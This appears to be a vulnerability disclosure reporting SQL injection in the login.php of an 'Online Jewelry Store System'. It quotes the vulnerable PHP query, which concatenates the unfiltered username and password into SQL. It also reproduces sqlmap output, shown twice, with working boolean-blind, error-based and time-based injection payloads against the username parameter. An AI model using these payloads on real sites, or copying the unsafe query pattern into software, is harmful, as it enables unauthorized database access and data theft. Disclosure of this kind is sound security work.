# Jewelry Store System login.php has Sqlinjection

A SQL injection vulnerability exists in the Online Jewelry Store System login.php has Sqlinjection has Sqlinjection  The basic introduction  of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data.  An attacker can add additional SQL statements to the end of a predefined query statement in a web  application, and perform illegal operations without the knowledge of the administrator.  In this way,  the database server can be tricked into performing any unauthorized query and obtaining the corresponding data  information.

```
// if (count($errors) == 0) {
  // $password = md5($password);
  $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  $results = mysqli_query($db, $query);
  if (mysqli_num_rows($results) == 1) {
    $_SESSION['username'] = $username;
    $_SESSION['success'] = "You are now logged in";
      echo "<script>alert('Login completed!'); location.href='Cart.php';</script>";
  //  header('location: index5.php');
  }else {
    array_push($errors, "Wrong username/password combination");
  }
```

```
sqlmap identified the following injection point(s) with a total of 422 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=123' RLIKE (SELECT (CASE WHEN (3763=3763) THEN 123 ELSE 0x28 END))-- aWgM&password=123&login_use


    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=123' OR (SELECT 5385 FROM(SELECT COUNT(*),CONCAT(0x7162717671,(SELECT (ELT(5385=5385,1))),0x7176
6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- 1jtU&password=123&login_user=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123' AND (SELECT 6579 FROM (SELECT(SLEEP(5)))fVtj)-- bqQf&password=123&login_user=
---
```

Sqlmap Attack

```
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=123' RLIKE (SELECT (CASE WHEN (3763=3763) THEN 123 ELSE 0x28 END))-
- aWgM&password=123&login_user=

    Type: error-based
```

```
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)
    Payload: username=123' OR (SELECT 5385 FROM(SELECT COUNT(*),CONCAT(0x7162717671,
(SELECT (ELT(5385=5385,1))),0x7176716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ljtU&password=123&login_user=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123' AND (SELECT 6579 FROM (SELECT(SLEEP(5)))fVtj)--
bqQf&password=123&login_user=
---
```